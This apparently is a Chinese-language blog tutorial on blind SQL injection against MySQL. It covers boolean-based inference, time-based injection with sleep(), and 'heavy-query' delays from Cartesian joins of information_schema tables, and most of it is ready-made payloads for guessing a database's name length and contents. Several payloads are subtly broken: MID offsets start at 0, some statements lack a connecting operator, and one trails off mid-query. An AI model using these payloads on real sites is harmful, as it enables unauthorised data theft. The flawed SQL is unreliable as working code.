扒一扒冷門的sql注入姿勢

本文的資料庫討論的是mysql,不講帶有顯示的注入,這裡只討論盲注。

boolean類型注入

這類注入出現在某些沒有顯示位置的,不列印mysql報錯信息,並且union select 之後沒有顯示的位置。換言之,只要你以注入的話,他只有兩種情況,頁面正確,頁面錯誤。下面簡單演示下:

加上一個and 條件,判斷database第一位的ASCII值

然而就可以用二分法注入了,或者自己寫個腳本之類的。

基於時間的注入

講到盲注不得不提延時注入,有幾個函數sleep, benchmark。有時候boolen盲注用不了的時候就需要利用時間差來注入了。

要查詢的數據放在if條件裡面,由於是計算時間差,當然and,or,xor等等這些都是可以的,下面是幾個語句

猜長度

select * from user where username=『admin』 xor (SELECT if(((SELECT length(database()) limit 0,1) = 0),sleep(9),0))%23

猜資料庫內容

select * from user where username=『admin』 xor (SELECT if((select(MID(database(),0,1)) = 0),sleep(1),0))

如果條件存在就sleep一秒,在實際過程中處於網路因素的考慮,通常來說,會sleep一個大數字。比如說網路不好的時候,你訪問一個網頁要2秒,為了比較,你sleep()的數字肯定要更大一些的。

有時候,sleep這些比較冷門的函數也會被開發人員過濾掉,這個時候就需要用到heavy-query了。

當一個時間盲注中不能用sleep等函數的時候,為了達到延時的效果,可以查詢一些量比較大的表做笛卡爾集運算,導致查詢緩慢。

利用sql語句

SELECT count(*) FROM information_schema.columns A, information_schema.columns B,

where後面跟的是一個條件,利用and的性質來判斷。當兩個都為真的時候,就運行後面的語句。

假設在某個sql注入中,他的位置出現在where後面,可以考慮如下利用場景:

select * from admin where id=1 and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C);

有延時

select * from admin where id=1 and 1=2 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C);

無延時

猜測資料庫名長度

select * from admin where id=『admin』 (SELECT length(database()) limit 0,1) = 0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C);

猜測資料庫名

select * from admin where id=『admin』 select(MID(database(),0,1)) = 0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C);

推薦閱讀:

whu計算機類的三個專業都有什麼特點?
通過Wireshark+driftnet查看數據流里的圖片詳情
中了勒索病毒前期有什麼預兆呢?
大俠方興之重出江湖|新銳
信息安全專業好的大學?

TAG:SQL注入 | 信息安全 | 技術 |